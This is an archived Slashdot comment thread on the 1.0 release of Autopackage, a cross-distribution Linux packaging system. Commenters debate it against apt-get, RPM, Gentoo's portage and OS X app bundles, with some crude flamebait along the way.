Slashdot Mirror
AutoPackaging for Linux
Isak Savo writes "The next generation packaging format for Linux has reached 1.0. With Autopackage officially declared stable, there is now an easy way for developers to create up to date, easy installable packages. There are lots of screenshots available including a flash demo of a package installation."
Error: 408 Request Time-out
Aww, already /.'ed... and nyud.net/Coral is saying timeout... :(
Their server is now in smoking ruins.
Knowledge is power. Knowledge shared is power multiplied.
Click here for the coralized mirror.
Aren't there enough package/software installation formats for Linux that aren't being used enough as it is?
No doubt lots of people will have all kinds of questions about autopackage, such as:
- "What idiots!! Another packaging format is the last thing we need!"
- "What's wrong with apt-get?"
- "Everybody should use Gentoo!"
Slashdotters are highly encouraged to read the autopackage FAQ! Our project has existed for over 2 years now, and many people have asked us those questions. In short: autopackage is not meant to replace RPM/DEB/apt-get/etc.
If you have more questions, feel free to come over at #autopackage at irc.freenode.net
We'll be glad to answer your questions
Nice idea, but where is the difference to apt-get and its various front-ends?
Seems to me like the exact same thing, except that apt-get is proven and widely used..
They don't expect someone to switch to autopackage when so many distros didn't change from rpm to apt, do they?
I'm not going to wait that long to install a simple package.
# What is autopackage?
For users: it makes software installation on Linux easier. If a project provides an autopackage, you know it can work on your distribution. You know it'll integrate nicely with your desktop and you know it'll be up to date, because it's provided by the software developers themselves. You don't have to choose which distro you run based on how many packages are available.
For developers: it's software that lets you create binary packages for Linux that will install on any distribution, can automatically resolve dependencies and can be installed using multiple front ends, for instance from the command line or from a graphical interface. It lets you get your software to your users quicker, easier and more reliably. It immediately increases your userbase by allowing people with no native package to run your software within seconds.
# Is autopackage meant to replace RPM?
No. RPM is good at managing the core software of a distro. It's fast, well understood and supports features like prepatching of sources. What RPM is not good at is non-core packages, ie programs available from the net, from commercial vendors, magazine coverdisks and so on. This is the area that autopackage tackles. Although in theory it'd be possible to build a distro based around it, in reality such a solution would be very suboptimal as we sacrifice speed for flexibility and distro neutrality. For instance, it can take several seconds to verify the presence of all required dependencies, something that RPM can do far quicker.
# Why a new format? Why do the RPMs I find on the net today only work on one distro?
There are a number of reasons, some obvious, some not so obvious. Let's take them one at a time:
There are various reasons why a new format was created rather than changing RPM
The biggest problem with Linux distributions is that different distributions have different ideas about where things should go: does this file go in /sbin, /usr/sbin, /usr/bin/, /usr/local/bin, or somewhere else? Where do the configuration settings go? /home/*/.config? /etc/profile?
So, does this address the problem? Most software makers would really like to be able to release ONE package for their software and know that it will end up somewhere sensible.
I know we all love to bash Microsoft, BUT, I have rarely seen an installation problem with software written for Windows.
Education is a better safeguard of liberty than a standing army.
Edward Everett (1794 - 1865)
it's about time there was a system to automatically put submitted links thorugh MirrorDot. This is a prime example; /.ed before 10 comments were posted. sheesh.
-----
Check out the Uncyclopedia.org :
The only wiki source for politically incorrect non-information about things like Kitten Huffing and Pong! the Movie !
Please allow me to hate the creator of the 120-character limit: *HATES*. Thank you.
Why is this "informative"? Next time I see a gentoo user in real life I'm going to trip him.
Anyway, time to get outside and smell the rain clouds.
Not everyone wants to tie themselves to a huge complex packaging system. Some of us are perfectly happy with checkinstall. Thanks anyway.
REM Old programmers don't die. They just GOSUB without RETURN.
The reason is that most of these packaging solutions, while great for developers and those who want detailed knowledge of the inner workings of their systems, simply suck when given to mortal users.
And they don't handle a number of edge cases too well... What if you want different versions of some software to coexist on the same system? What if you want ten different versions of a library? Yes, these can all be handled by current stuff... but not very well. It's bad enough that when we install software here, we actually get the rpms or whatever and then re-package them ourselves to serve our needs.
A packaging solution that actually works is desperately needed.
Riiight, Gentoo's package system, which is basically a re-implementation of the BSD ports system, is "nextgen"... oh, you fanboys, you're so cuuute!
pkgsrc is better
Yes, but does it come with stopwatch?
The current Linux model of distros integrating and authenticating software from upstream authors helps ensure the security of the userbase as well as providing installation ease of use. This is something we should be proud of rather than trying to imitate the technically inferior competition.
Developers want to be able to release packages that work on all the Linuxes, not just Gentoo. Not everyone wants to make the fast updates/reliability tradeoff necessary to use Gentoo.
I rarely criticize things I don't care about.
Autopackage
Right, installing shit is great on Windows. The suicide hotlines start overloading when you try to remove software.
REM Old programmers don't die. They just GOSUB without RETURN.
- Frontends to different windowing and desktop systems.
- Able to resolve dependancies even if you installed other software through the source, or with RPM or DEB
- You will be able to download one package and install it on several different distributions.
Essentially, this will be as flexible as tarballs, only they will install easilly, and have clean upgrade paths and uninstall paths. With clean dependancy resolution. It sounds too good to be true, but you can only know it if you try it.Here is the sourceforge link with some more info and downloading.
Your ignorance is infinitely greater than you realize.
Yeah, because everyone wants to wait 8 hours for gnome to compile.
Give me a fucking break.
"Orthodoxy means not thinking--not needing to think. Orthodoxy is unconsciousness." --Eric Blair
Seriously. I had envisioned something similar last year but this really takes the cake, or so to speak. I have yet to try Autopackage, but after seeing this, I'm sold. Especially if it works as intended. Cross-distro package management is what we need. Sure, DEB, RPM, TGZ, etc etc are all excellent in their own right, but being able to install packages across multiple distros is what we really need. I for one am impressed. Of course there are a few technical details that I need to learn about as far as cross-distro packaging goes, but it's a step in the right direction in any event.
Linux with kernel panic...
MadPenguin.org
http://mirrordot.org/stories/5f34bd546afaa065409b5 e4822a1ed01/index.html
- http://www.milkme.co.uk
Official Gentoo-Linux-Zealot translator-o-matic
.debs can be rebuilt with a handful of commands, my box MUST be faster. It's nothing to do with the fact that I've disabled all startup services and I'm running BlackBox instead of GNOME or KDE."
.rpms together on the command line, and that problems hardly ever occur if one uses proper Red Hat packages instead of mixing SuSE, Mandrake and Joe's Linux packages together (which the system wasn't designed for)."
Gentoo Linux is an interesting new distribution with some great features. Unfortunately, it has attracted a large number of clueless wannabes who absolutely MUST advocate Gentoo at every opportunity. Let's look at the language of these zealots, and find out what it really means...
"Gentoo makes me so much more productive."
"Although I can't use the box at the moment because it's compiling something, as it will be for the next five days, it gives me more time to check out the latest USE flags and potentially unstable optimisation settings."
"Gentoo is more in the spirit of open source!"
"Apart from Hello World in Pascal at school, I've never written a single program in my life or contributed to an open source project, yet staring at endless streams of GCC output whizzing by somehow helps me contribute to international freedom."
"I use Gentoo because it's more like the BSDs."
"Last month I tried to install FreeBSD on a well-supported machine, but the text-based installer scared me off. I've never used a BSD, but the guys on Slashdot say that it's l33t though, so surely I must be for using Gentoo."
"Heh, my system is soooo much faster after installing Gentoo."
"I've spent hours recompiling Fetchmail, X-Chat, gEdit and thousands of other programs which spend 99% of their time waiting for user input. Even though only the kernel and glibc make a significant difference with optimisations, and RPMs and
"...my Gentoo Linux workstation..."
"...my overclocked AMD eMachines box from PC World, and apart from the third-grade made-to-break components and dodgy fan..."
"You Red Hat guys must get sick of dependency hell..."
"I'm too stupid to understand that circular dependencies can be resolved by specifying BOTH
"All the other distros are soooo out of date."
"Constantly upgrading to the latest bleeding-edge untested software makes me more productive. Never mind the extensive testing and patching that Debian and Red Hat perform on their packages; I've just emerged the latest GNOME beta snapshot and compiled with -09 -fomit-instructions, and it only crashes once every few hours."
"Let's face it, Gentoo is the future."
"OK, so no serious business is going to even consider Gentoo in the near future, and even with proper support and QA in place, it'll still eat up far too much of a company's valuable time. But this guy I met on #animepr0n is now using it, so it must be growing!"
It's absurd that you need to enter a root password to do something as simple as install a user-space program - and it's absurd that package mangers only support dependancy checking for stuff installed in the main system directories.
At work, the main directories (/usr, /bin, etc) can only be accessed by the IT guys; but every department has a directory ("/usr/department/engineering", for example) of that memebers of that group can install software in. We have a newer version of Perl in ours. It really sucks that package managers can't help deal with the dependancies in an environmennt like this.
This project is essential for Linux's adoption and that's why I hope many distributions will ship with it. It's fantastic!
The idea of storing all software on repositories does make dependencies easier to manage but could you imagine doing it that way in Windows? You have all the overhead of having to centrally locate ALL software on a mirror somewhere. Anytime you as a software developer want to release software, you have to try to get it pushed out to all the mirrors (which you have no control over) in order for people to access it. This idea is also not very friendly to closed source projects.
Saying Java is nice because it works on all OS's is like saying that anal sex is nice because it works on all genders.
Maybe this packaging system works this way (I can't rtfm so I don't know), but one of the things that is easier in OSX than in Linux (especially for the newbie) is that installing software is usually as simple as dragging the application (which is actually a directory containing all of the application's files) to your "Applications" folder (or where-ever else you want to put it).
I do like apt as well, but I've also had some apt-nightmares trying to sort out messed-up dependancies on my debian box.
Portage can work with binaries. The package to be installed can be source, binary, or your grand-daddy's p0rn. Portage is a bunch of python scripts that make dependency checking and package distribution easy. Your package being source is not a strict precondition.
Regards.
To me it seems like anything that makes it easy for users to install random software off the internet to be a REALLY BAD THING. Using Linux right now is a pleasure because if you're using Gentoo, Ubuntu, Fedora, Mandrake, etc... you get all your software packaged for you by your distribution. No spymare, no viruses, so adware, no shareware. It all generally works, dependancies are sorted out and managed, it's all a really good system.
Encouraging users to install Comet Cursors for Linux seems to me like a huge step backwards for Linux. I sincerely hope that distributions do not support this or any other system like this one to promote good computing practises and avoid the sorts of problems that plague Windows users. Why do we want to emulate what has been proven to be a terrible way of distributing and using software?
501 Not Implemented
Let us know when you're ready to join us in 2005.
Mike setup a mirror of the autopackage website! It's here. The FAQ is also available on that mirror.
yeah, thanks for nothing asshole.
http://bylands.dur.ac.uk/~mh/autopackage.org/index .html
No kidding... Windows has had this as long as I can remember (since 3.1)...
That said, one of the major barriers to Linux on the desktop finally fell. Rather than having to understand packages, people can simply download a file and have everything automagically set up.
Fix that, and either get GNOME and KDE to work together nicely, or standardise around one, and Linux on the desktop will become truely viable...
Next complaint, please.
Yeah, I'll say the same thing about Microsoft Windows when it can actually use all of my system memory and not resort to some BIOS memory hole hack and preemptively multitask. I nearly laughed out loud when my officemate told me that it's normal to only have 3 GB of 4 available under Windows. Please.
Windows user gripes about linux: hard to use.
Unix gripes about Windows: performs poorly.
I'm a gentoo user as well, but I'm very excited by Autopackage. The whole reason many people use gentoo is b/c it is so easy to install software. The main problem with that system is that someone has to add it to the portage tree, and if it's not popular enough, it won't get in... with Autopackage you put the installation in the developers hands and you no longer have to rely on your distro to do it for you. I say use Portage/Apt/Whatever for your system/low-level programs and use autopackage for your higher level ones (Firefox, Gaim, GIMP, etc)...Autopackage could finally be the answer many Windows users have been waiting on to make the switch!
"A truly wise man realizes he knows nothing."
You are not entitled to your opinion. You are entitled to your informed opinion. -- Harlan Ellison
Portage doesn't work as well on Redhat or Debian systems as it does on Gentoo. The beautiful magic of Autopackage, as I understand it, is that one package works for all distributions. The theory is that devlopers will then only have to release one autopackage instead of making ebuilds, debs, rpms and whatever other packages the seventeen thousand faces of Linux are asking for these days.
I always thought that having the choice is one of the big advantages of open-source: Competition creates better software! Now they want to create one package-format for all distris? Time to make a fork! ;-)
Seriously, i hope that developers start to pick it up asap...
http://mirrordot.org/stories/16feae672a6b23e1a6bde ee65c18984b/index.html 1 323793affab/index.html 5 e4822a1ed01/index.html
http://mirrordot.org/stories/4b8dff883e128d08839c
http://mirrordot.org/stories/5f34bd546afaa065409b
I think with Autopackage giving developers the freedom to make one installation package for all distros, it's going to make Linux really take off this year. The huge number of incompatable distros scares off many companies and developers, so maybe this will be the answer we've been looking for...
"A truly wise man realizes he knows nothing."
Flash Demo Screenshots
I have to say this is like a godsave for linux. Most layusers will want some easy installation like this instead of using something like Yum (even if it is a GUI front-end to yum like GYUM). This is one giant step towards a viable desktop linux - and I believe that it isn't a replacement for apt/yum/[INSERT YOUR FLAVOR HERE] but uses them under the hood.
Before everyone starts bashing it and says that apt or emerge or whatever they use is the way to go, seriously think about it - one click installation, from a FRIENDLY user-interface, and easy to manage system for installing and uninstalling programs. Now if this were part of the base install on many distributions and some sort of standard was established (seriously, we need standards) I can probably convince my scared-of-Linux-because-it-is-hardcore friends to actually try Linux out.
One format to rule them all, One format to find them One format to bring them all and in the package bind them...
Apt-get the download, installation and resolves your dependencies for you, I think it's the best package management system fro Linux so far. The graphical front end "Synaptic" is also really good, it's intuitive and easy to use. Emerge is not bad either but you wouldn't want to go through the long hours of compiling from source.
Also, Autopackage has an O.K interface. I'm saying this because by looking at the screenshots, it doesn't let you mark multiple items, search database or manipulate repositories what synaptic lets you do. Another thing is, I don't think an interface like that would be effective when managing about 2000+ packages that I have on my Linux system,.
That still doesn't discount emerge with Gentoo's portage. For Gentoo in specific, emerge will retrieve the files it needs (often in source) and then run the various commands it needs to to get the program correctly inserted into your distribution (often this requires compiling).
There's nothing stopping anyone from using portage to install an entire system based on binaries. Besides, if a developer is releasing a package that truly works on all Linuxes then they're packaging compiled binaries for every architecture, using some sort of interpretation, or compiling upon installation. Portage can already retrieve the correct binary for your architecture based solely upon the ebuild file. Unless the AutoPackaging system requires you to download compiles for all architectures at once, they're going to be doing what portage already does with less dependence upon user compilation.
Direct away from face when opening.
How many time have you wanted to uninstal a package and then done this: rpm -qa .... and a thousand things run by .. then you have to guess the name of it.. or:
man rpm .... trying to look for the command to find out the package name that contains a specific file.
Then... after finding the name, you try rpm -e "package name", and it yells at you for some crazy dependency, like gaim depending on http or something like that.
No, I must say that I have wanted a nice package manager for all my extraneous packages. I prefer packages to source because they make uninstalling much easier but autopackage seems to fill some of the voids with regular rpm packages.
Which platform had packages installable from the Net, with dependencies and versioning, by clicking a single GUI button, in 1990? Or typing "installer install package"? One of the reasons I prefer Debian to Windows is precisely because of the package method of SW distribution. The closest MS has come is its WindowsUpdate abominations.
--
make install -not war
>>The current Linux model of distros integrating and authenticating software from upstream authors helps ensure the security >>
Well said.
I can update and upgrade my whole Debian system without worrying about malware because I know the contributors have to be trusted in order to be given upload privileges.
Isn't this why sooooo many people use ALL Microsoft applications and hardware? What's the difference?
Jesus Gentoo fanbois can be annoying. For some reason, unlike the users of every other distro, some Gentoo users think everyone would be happier with the decision they've made for themselves.
Some people like Gentoo, but some people have serious issues with it. emerge is a decent package manager, but it's attached to a distro that conservative users aren't going to touch. The more conservative distros have package managers that their users are already perfectly happy with, so it's unlikely to be used anywhere else.
I rarely criticize things I don't care about.
Plenty of people publish their own ebuilds seperately from the portage tree. That's what portdir_overlay is for.
It's similar to how many Fedora users get mp3 support. They use an unofficial update site.
Direct away from face when opening.
But what do you do if the software you need are not included with you distro?
I usually don't have this problem with Debian (especially with the huge testing and unstable distros), and even the Debian experimental repository is signed.
But if I did, I woud look for some known Debian maintener unofficial packages in apt-get.org .
I'm presently running Debian. I've briefly played with making my own .deb files so I'd be able to install some of my own things without necessarily completely losing track of everywhere they were scattered. With all of the extra meta files that need editing, the source packages versus binary packages, and everything else, though, the whole process of designing a .deb package looked a bit too structured and complicated for me to bother learning about... at least within the time I was prepared to spend.
If AutoPackage has a straightforward way to generate a simple package, such as from a tar.gz file, I might find it very helpful. What I'm wondering about, though, is how bad does it get when two package managers conflict? eg. Apt and AutoPackage might end up trying to control the same file, get mixed up between what manager is providing a particular dependency (particularly if Apt tries to grab a package that AutoPackage has already installed), or whatever else.
It also sounds a bit of extra work having two sets of commands to manage packages on one system, so ideally (in my world), I guess AutoPackage would wrap around Apt or whatever other manager, and invoke it when appropriate. Does AutoPackage just fight for control when there are conflicts, or does it integrate with other package managers nicely?
The server seems to be very slashdotted right now, so I can't do much reading up on it. Does this sort of conflict thing turn out to be much of a problem?
The issue is that it is the first real solution that makes it "click" installable with Average Joe knowledge about the system. The fact that it also uses more modern delivery methods is certainly in its favor. Otherwise I would have said. "((Handshake)) Welcome to 1990. And congrats on only doing it as well as 1990 level even though it is 2005."
Making something "Internet aware" is just not an earth shattering big deal, it really never was. It is more important to talk about what you do with that internet awareness. Otherwise e-toys would have made billions.
I think you have missed the point... it's not a binary vs. source thing here, it the fact that there are so many different flavors of linux that it is overwhelming for a developer to release a different package for each one (including ebuilds!). I use Gentoo, but I think Autopackage is a great thing for the ENTIRE Linux community instead of just a single distro like all prior solutions...
"A truly wise man realizes he knows nothing."
And how many other times has it been implemented for Linux?
Direct away from face when opening.
Fuck you all with your butt-fucking trolls! Trolls are for fucking losers, you dumbfuck.
:)
That's fine for advanced users who can handle the command line but what about the remaining 97% of the world?
"A truly wise man realizes he knows nothing."
Again, which platform had in 1990 the useability you're taking for granted today?
--
make install -not war
It's a huge improvement over the existing solutions, and it SHOULD serve as a replacement for apt, yum, etc.
However, it still does not appear to address the main problem:
The package should only know what type of thing a file is. The distribution should determine where every type of thing should go.
"Champagne for my real friends - and real pain for my sham friends!" http://ericblade.postalboard.com/
Even then however there was often the question (when not using Command line) where it has just installed it. And the adding it as a menu item manually.
"I may be full of crap about this game, and I may be wrong, and that's fine." -Jack Thompson
(^^ And I swore I'd never do backseat moderating like that)
This is exactly what I was going to post. It drives me mad when windows users think that having centralised package management done by the distros is a weakness of linux systems. In fact, if there's one thing I would give windows to make it remotely usable, it would be an apt-get type system/repository of software. With such a system, software that's not trusted would never get into any respecable maintainer's database. No more 'Hay I downloaded this super adware megascan 2006 - it says it's supposed to get rid of my adware and double the speed of my internet but it's just got worse now...'.
This idea of just wandering around the web until you find packages opens the door to as many malware problems as windows, and will be a support nightmare to distro vendors, who, to support a system properly ideally must be able to know exactly what software has been put on and how. This is one of the things that makes unix systems so solid.
I dread to think what distro support forums would start to look like if this caught on.
Please tell me I'm completely off base as to what autopackage stands for - but I have read the site several times in the past.
Malike Bamiyi wanted my assistance.
That's fine, but why are we trying to piss off the entire BSD community by bringing portage to BSD now? Have you talked to any BSD guys lately? They hate Gentoo guys now :(
"A truly wise man realizes he knows nothing."
Until I can install an autopackage on my FC3 desktop and rpm (and therefore yum) can use it in dependency resolution and update it then I don't intend to use it.
;)
This isn't meant to be a criticism, I realise that they plan to do this and it takes time, to do everything that everyone wants is a long process
Struggling to find a day everyone can make? WhenShallWe.com
The package frontends are getting better. But we desperately need better backend apps. The interpackage dependencies are getting more complex, and broken dependency references abound. And we need a structure that represents a further distinction than just source/binary: we need -dev structure, so packages that depend on the headers and config tools of other packages can find them automatically, without having to figure out their (distro-dependent) development package name. For that matter, a single, universal "lib-config" tool that spits back the versions, headers and filesys locations of any library installed by the package client, would really improve productivity and reliability.
The really big leap in backends would be a distributed repository. Instead of just a network of (unsync'ed) mirrors of a single monolithic repository, we need a mirrored or otherwise distributed directory of repositories, each with an overlapping fraction of the current repositories. That will accommodate the bandwidth and storage requirements for installing specific versions of packages, across the exploding Internet userbase, especially as the mirror:client ratio gets worse. Alternate repositories should be the rule, not just the exception.
--
make install -not war
Desktop Linux will be obsolete when Windows Longhorn hits the market.
Ther's nothing inherently wrong with being a fanboy, especially when I can just type "emerge americas-army" or "emerge enemy-territory" and my gaming addiction is kept up to date :)
I am a SUSE user and yet have to find a program that does not have an rpm I can use. If the writer does not make an rpm, with running checkinstall, I doubt he will be using autopackage.
Using this would mean I need to have TWO things to use. One being Yast, the other being autopackage. Next somebody else does the same thing in a slightely different way and soon I will have a packager for every program I own.
Also its use is slightly more complicated then just doing rpm -Uvh (or for me yast -i, or rightclick on in Konquror)
As an extra, on the install site is says to chmod +x the files. Why not have the binaries already as chmod+x downloadable and if not, why do you need to do it on the commandline when 'sh file.package' works just as well.
Another disadvatage is the fact that houghi@penne it needs some extra code:
houghi@penne : sh inkscape-0.41-2.x86.package
The installation of this software requires some additional support
code to be installed.
Connecting to autopackage.org[130.225.247.90]:80... connected.
HTTP request sent, awaiting response...
Mmm. I can not install, because the site is down.
Did a search on rpm.bone.net on inkscape and copied the link and did 'rpm -Uvh ftp://link
Now what do you think I will use in the future?
Don't fight for your country, if your country does not fight for you.
If autopackage is anything like autoconf, it won't help at all. It will work on just one distro and be broken on others.
I've said this many times, and in my opinion autoconf is totally wrong a solution to a problem. The proper solution would have been a package database database and library of wrappers or macros of common incompatibilities between flavours of *nix (syscalls, libc). As it stands, lots of redundant work is done by maintaining an -- often broken -- autoconf script for each package. I for one will never make autoconf a dependency -- only a discouraged option. It must always be possible to edit a Makefile.
Another point you missed was that even with Windows, you still have to download a different installer for Win95, Win98, WinNT, Win2000/XP...but with Autopackage you can do every single flavor of linux in one fell swoop (as long as it's the same architecture).
"A truly wise man realizes he knows nothing."
I'm pretty sure autoconf and autopackage are completely unrelated, so for you to judge autopackage based on your experience with autoconf is completely off base.
"A truly wise man realizes he knows nothing."
Plenty of people do, plenty of people don't. Unless everyone does it, you can't assume it will be available for what you need.
I rarely criticize things I don't care about.
I'm setting you as a "friend" because you're a Gentoo user and you're not a jackass.
Instead of saying how cool it is, or how cool emerge is, or how cool apt-get is, can someone actually do a post with subtance? Such as a comparison between AP and one of the other tools? Hey AP guys, make a package out of something standard like kmines or gnome-terminal and post it. That will let us see how it stacks up.
This thread reads like a sales article
since when? all the Windows applications I've run into only have one installer and they work fine on all Win32 based machines. Some web-sites provide two different versions, one for Win9x/ME and one for Win2000/XP, but the ones I've seen are doing it solely for optimization purposes.
of course there are certain programs that *only* work on an NT kernel and those don't even come for Win9x/ME, but that is not the issue here.
For distributing user applications, at least.
There is no earthly reason why a GUI application should scatter files hither and yon across a hard drive, and why installing a program should require some package or installer or whatever.
I cannot believe the hassle that I have to go through to install software on my Linux box as opposed to my Mac.
An OS X application consists of one file--- really a bundle. It is a directory that acts like a single executable file. Everything it needs to run that is not part of the basic OS X setup is in that file.
You don't even need to install the application. You can just run it from its compressed disk image that is still sitting in your downloads directory, if you like. Or you can copy it to your hard drive wherever you like. When you tire of it, you delete it.
Now, "Linux" is not capable of doing this because no one runs just Linux. But there is no reason why, say, Gnome apps can't be distributed this way. If there are technical issues in the way, they need to be resolved. Because the OS X way is better that the Linux and the Windows methods, and ought to be copied.
(ps: I do know that Unix programs are often installed via packages in OS X, as well as software that for whatever reason needs to modify the OS. But these are very rare and approached warily by seasoned OS X users.)
No you don't.
At most you need one for 9x series and one for NT series, but even then most things will work on all with just one package.
Actually he's not trolling. Google PAE - it's the hack 32bit Intel processors have to use to access more than 4GB. Welcome to the segmented mode ... again. Only MUCH slower, as you only have 32 address lines, not '16 but really 20'
... you still get a 4G hard limit per segment, with the added bonus of slow access and dead-slow I/O. Maybe you should elaborate what you mean by 'high-memory Windows computer'? surely, not 'past 640k', right?
So, to end the rant - 32bit linear mode, apps get 2G (3G with hacks) out of the max. 4G that the OS can use. Segmented mode
You know what, some ppl have to understand that not everyone is attatched to strictly one distro. If that was true, then autopackaging wouldn't exist.
.deb Debian/Ubuntu
:X
This will make life easier for developers instead of making 10 thousand kind of different binaries.
Look at Fluxbox's webpage you got:
- RPMS for SuSE and Fedora
- tgz for slackware, *BSD
-
- ePenis for PenisDistro
How is that any good? Just confuses more the newcomers who try Linux and don't know what to download. Tell a user to try Fedora and he falls on a webpage that offers many kind of rpm's and he has to take his time to understand the difference between them. LEARNING IS FUN I Agree but not every user want to learn the ins and outs of linux. That's why they get 50 000 spyware on Windows. If the guys who make autopackaging can gather more support from many organizations and distributions and start trying out this solution, we will be getting somewhere and maybe that quote "THIS YEAR IS THE YEAR OF LINUX" might be a bit more realistic to say... or maybe not
You're a hopeless fanboy and because of fucked up idiots like you the world hates gentoo users. I'm positively scared by the possibility of getting the portage tree from the same mirror you touched with your filthy connection. I hope an axe falls on your modem cable and frees the net from just another fucking Gentoo preacher. To the guys who read parent and think "gentoo users are idiots": we're not like him. He represents a very noisy minority.
Try this next time, it should help you out.
#rpm -qa | grep
example - looking for the kgames rpm
#rpm -qa | grep kgame
kdegames3-3.2.1-28
#
Learn to use grep and pipes and it will vastly improve your experience.
Cheers
A nice mix between what Mac OS X got right and what Windows got right. First part is stolen from Mac OS X, second part (list of installed apps) - from Windows.
Looks very promising overall. Now if it also downloads binary dependencies, I'd say we got a winner. If it doesn't - I'll have to continue using Yum.
Seems to me that most users that have actually tried gentoo really like it. I've run small networks of workstations on redhat (2yrs), debian (2yrs), fedora (2yrs), have run a small cluster on the rocks distribution. I made all of these work. They all have their strong points. I've recently switched to gentoo (several months) and find it to be by far the best for experienced admins / technical users. It does seem to attract a lot of kids that want to impress their friends by using an advanced distro. However, the core developers have done thus far a superb job desiging gentoo and it is very stable and capable in the hands of an expert.
BTW, resorting to name calling really only betrays ignorance.
Ciao.
http://zero-install.sourceforge.net/
A young project but quite revolutionary. Applications run from cache. A GUI to this for those not friendly with the CLI could be significant.
Make sure you read the page to understand what it offers and why.
By the way I prefer the Debian way of installing software, it's a no-brainer.
I use the CLI but my 10 year old cousin uses http://kefk.net/Linux/Distributionen/Allgemein/Fe
Just Works TM.
I follow .a progress for a while now, and there always were things that bothered me. First, rpm is mentioned too much, others (apt inclusive) too less. When they reason about existing package systems and package management solutions, almost all the time everything is put into a big huge hat, mixed and at the end they just talk about package management systems as a whole, all of it being a piece of crap and useless to the extremes.
.a can become useful and survive: try and convince the library maintainers to produce their own autopackages, you could produce your own ... or you could statically link the library ... the development of a desktop Linux platform meaning this stuff i absolutle yno good unless everybody else drops everything they have and praise the new overlords of Linux package creation and management. Which is IMO quite a weak position.
.a is all over better than anything else out there, and again too much rpm-talk coming in waves (Why do the RPMs I find on the net today only work on one distro? then rpm features rpm can't do this, rpm won't work there, ... wait, since when has rpm stepped out of some-of-us's nightmares and became "the" package management system everybody compares everything else against ? I can't even count the people I heard - including myself - swearing loud over rpm's "features" along the years.
.a is one of my dreams coming true. Ever since my first encounter with apt. So please, believe me I'm not against .a in any ways. I just find most of the reasonings behind it very weak. There are bad ways t do package management out there, plenty. Those that use them probably will feel in heaven when .a comes down to them. As for the other, well done and very good working package management systems, I just don't feel justified the bashing that goes towards them, trating them as they were just as lame and useless as the junky ones.
.a .
Secondly, I find the type of reasoning absolutely not convincing when they talk about the - only - way
Thirdly, arguing that
Does it do automatic dependency resolution like apt and emerge?
Now, the only question I'm interested about. Given this, the (l)user-joe-6pack world would finally get to know some what package management really means.
At this point, you all probably just hate me all over and can hardly wait with that troll and flamebait clicks. To you, I have to tell, that
Okay, I blattered 'nuff. Go
I am putting myself to the fullest possible use, which is all I can think that any conscious entity can ever hope to do.
I agree but want to expand on it some. Linux isn't on most peoples radar yet, they may have heard the word but frankly do NOT even know the difference between an OS and an application. The main reason this hasn't happened is because the major vendors don't (conversationally speaking now, in general) ship linux pre installed by the millions, and the main reason they don't do that is because there is *no* standard linux OS for them to ship. Can you imagine the nightmare of trying to do tech support for the few hundred linux distros out there, once people had "A" distro and then wanted to expand it with some more "Linux apps"? The vendors aren't that tarded. Something like autopackage has been needed, along with a true LSB layout. Get those two concepts running more, and maybe end the DE wars as well and you got you a more acceptable "product". this and that larger commercial linux vendors are trying, to get their distros pre installed on more machines, but those result in a locked down propietary dealie again, something that needs to be avoided somehow.
The main deal is, you can't talk about hobbiest distros and then try to make them into some universal bigtime distro for this "the masses" guy. You can go right down the pike and look at so called debian based distros, frequently even those have enough of a difference to make this or that not work. Hundreds of guys all re inventing the same wheel, over and over again, said wheels not fitting on any car but their own. Fun for them, but it's not going to result in "linux on the desktop" this decade. And installation is a big part of that problem.
apples and oranges. No one wants to remove enthusiasts ways of doing things, but what they want to do is to take the concept of a linux desktop mainstream. Being able to deal with applications and installation is a prime concern. This is a good thing if you care about something like that. The two camps can still co exist splendidly. If someone wants to make "fred"s distro" that works completely different from everyone else, no probs, go right ahead, just they shouldn't expect it to become bigtime mainstream any time soon.
I applaud the autopackage guys and the LSB guys. That edges it much closer to a viable alternative for millions more people, they are way useful standardization schemes, long overdue.
Where can I find the rpm? ;)
"You should always go to other people's funerals; otherwise, they won't come to yours." -- Yogi Berra
The remaining 97% don't care what they get. They just use it, and don't take advantage of the advanced features. That's the way it always has been and always will be. But it's the 3% that do care that get to choose what they use, because they are the programmers that write the software the rest use.
Period.
So now I'd have to use TWO methods of updating my system. Great. Just what I was looking for.Synaptic. Already there.
Who is "scared of Linux" because Synaptic is too hard?
There's a LOT more to package management than just getting software onto your system.
Is the user it runs under setup correctly (what? you plan to run everything as "root"?)
Has it been suid correctly?
And so forth.
I once saw a Linux box which refused to address a quarter of its RAM too.
It was bad memory. That's the only reason I've ever seen Windows refuse to address RAM (Well, Windows NT at least... 9x/ME is an abomination upon the earth).
But you're right, Windows should work on hardware which doesn't even work properly. After all, Linux can run on toasters, right?!
I love Linux but 60% of the programs I try to install without the benefit of apt-get fail for some cryptic reason or another. Sometimes I work it out after fiddling with it for a bit but to be honest I don't have time for that. Thanks
They present a new piece of Free Software, that is supossed to help the hacker community, and they use proprietary software (Flash) to show the software to the public?. This kind of thing hurts the GNU Project, because it makes people think that using proprietary software is ok.
WTF am I doing replying to an AC at 5 A.M on a Friday night?
Yeah, where can I get the .rpm package for AutoPackage?
JWall: GUI client for IPTables
Autopackage looks excellent and will make it easy for all developers to roll out one package for all distros. Another system also interests me alot however...
With the Zero Install system, applications aren't actually installed (as the name errm suggests), instead they run from a cache immediately after download. You click to download and then it runs - all dependencies grabbed from the package host. The next time you run it it loads immediately as it's already cached. Quite innovative.
http://zero-install.sourceforge.net/
So... you're saying he's not trolling because he's attributing a hardware fault to the OS?
Oh, that's right, he's only not trolling because he's attributing a negative feature to Windows, even if it doesn't deserve it.
And by 'High-Memory Windows computer', I mean I've dealt with 64 bit Windows servers, as well as high end Windows workstations with gigs of memory...
Autopackage FAQ
Sorry about the writing. Robot fingers, you know? Cliff Steele in DOOM PATROL #23
... welcome our Autopackage overlords...
Seriously, this sounds like a brilliant project. Not sure how easy it will be to keep it up to date though.
You update the OS/Office from Microsoft's web site.
You check other sites for any other updates.
With Debian, a vendor would simply add his website to the sources.list and apt-get update would check for updates to that vendor's product.
The distribution should have a pool of servers for the software included with that distribution. There's no reason why other ISV's would have to use those servers.
Hmm. I just drag the icon to my Applications folder. Or if it's a plugin, to its relevant /Library/Components/Appname folder. And so on.
.NET allows for it (eliminating the use of the registry).
It would be great if Linux actually implemented drag-and-drop install. OS X already does it, and
Portage would never be ported (no pun intended) to *BSD, because we already have Ports. The only difference between Portage and Ports is the former uses emerge application and the latter uses cd /usr/ports/category/application && make install clean. To install precompiled packages, its emerge --usepkg --getbinpkg application or pkg_add -r application, respectively. I can go on about the similarities and differences.
